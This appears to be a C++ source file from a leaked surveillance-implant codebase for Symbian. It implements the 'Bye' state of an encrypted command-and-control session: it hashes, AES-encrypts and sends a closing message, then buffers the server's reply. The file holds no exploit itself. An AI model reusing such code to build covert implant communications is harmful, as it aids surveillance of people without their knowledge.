hackedteam/core-symbian

/*
 * StateBye.cpp
 *
 *  Created on: 16/feb/2011
 *      Author: Giovanna
 */

#include "StateBye.h"
#include "Keys.h"
#include <HT\ShaUtils.h>
#include <HT\AES.h>
#include <HT\RESTUtils.h>



CStateBye::CStateBye(MStateObserver& aObserver) : CAbstractState(EState_Bye, aObserver)
    {
    // No implementation required
    }

CStateBye::~CStateBye()
    {
    delete iRequestData;
    delete iResponseData;
    }

CStateBye* CStateBye::NewLC(MStateObserver& aObserver)
    {
    CStateBye* self = new (ELeave) CStateBye(aObserver);
    CleanupStack::PushL(self);
    self->ConstructL();
    return self;
    }

CStateBye* CStateBye::NewL(MStateObserver& aObserver)
    {
    CStateBye* self = CStateBye::NewLC(aObserver);
    CleanupStack::Pop(); // self;
    return self;
    }

void CStateBye::ConstructL()
    {

    }

void CStateBye::ActivateL(const TDesC8& aData)
    {
    //Save the sign key
    iSignKey.Copy(aData);
    
    TBuf8<32> plainBody(KProto_Bye);
    _LIT8(KZero,"\x00\x00\x00\x00");
    plainBody.Append(KZero);
    // calculate SHA1
    TBuf8<20> sha;
    ShaUtils::CreateSha(plainBody,sha);
    //append SHA1
    plainBody.Append(sha);
    //encrypt
    RBuf8 buff(AES::EncryptPkcs5L(plainBody, KIV, iSignKey));
    buff.CleanupClosePushL();
    //add REST header
    HBufC8* header = iObserver.GetRequestHeaderL();
    TBuf8<32> contentLengthLine;
    contentLengthLine.Append(KContentLength);
    contentLengthLine.AppendNum(buff.Size());
    contentLengthLine.Append(KNewLine);
    iRequestData = HBufC8::NewL(header->Size()+contentLengthLine.Size()+KNewLine().Size()+buff.Size());
    iRequestData->Des().Append(*header);
    delete header;
    iRequestData->Des().Append(contentLengthLine);
    iRequestData->Des().Append(KNewLine);
    iRequestData->Des().Append(buff);
    CleanupStack::PopAndDestroy(&buff);
    
    iObserver.SendStateDataL(*iRequestData);
    }

void CStateBye::ProcessDataL(const TDesC8& aData) 
    {
    //free resources
    delete iRequestData;
    iRequestData = NULL;
    
    if(aData.Size()!=0)
        {
        if(iResponseData == NULL)
            {
            iResponseData = aData.AllocL();
            }
        else
            {
            TInt size = iResponseData->Size();
            iResponseData = iResponseData->ReAllocL(size+aData.Size()); //TODO:check the result of allocation
            iResponseData->Des().Append(aData);
            }
            return;
        }
        
    //this is useful only for debugging, since in real life we are leaving, so we are not
    //interested in parsing response
    /*
    if(iResponseData->Find(KApplicationOS)==KErrNotFound)
        {
        //server answered with a redirect
        //return;
        }
            
    //extract body from response
    RBuf8 body(CRestUtils::GetBodyL(*iResponseData));
    body.CleanupClosePushL();
        
    RBuf8 plainBody(AES::DecryptPkcs5L(body,KIV,iSignKey));
    CleanupStack::PopAndDestroy(&body);
    plainBody.CleanupClosePushL();
    //check sha1
    if(!ShaUtils::ValidateSha(plainBody.Left(plainBody.Size()-20),plainBody.Right(20)))
        {
        CleanupStack::PopAndDestroy(&plainBody);
        return;
        }
    //check response
    if(plainBody.Left(4).Compare(KProto_Ok) != 0)
        {
        CleanupStack::PopAndDestroy(&plainBody);
        return;
        }
    CleanupStack::PopAndDestroy(&plainBody);
    */
    iObserver.ChangeStateL();    
        
    }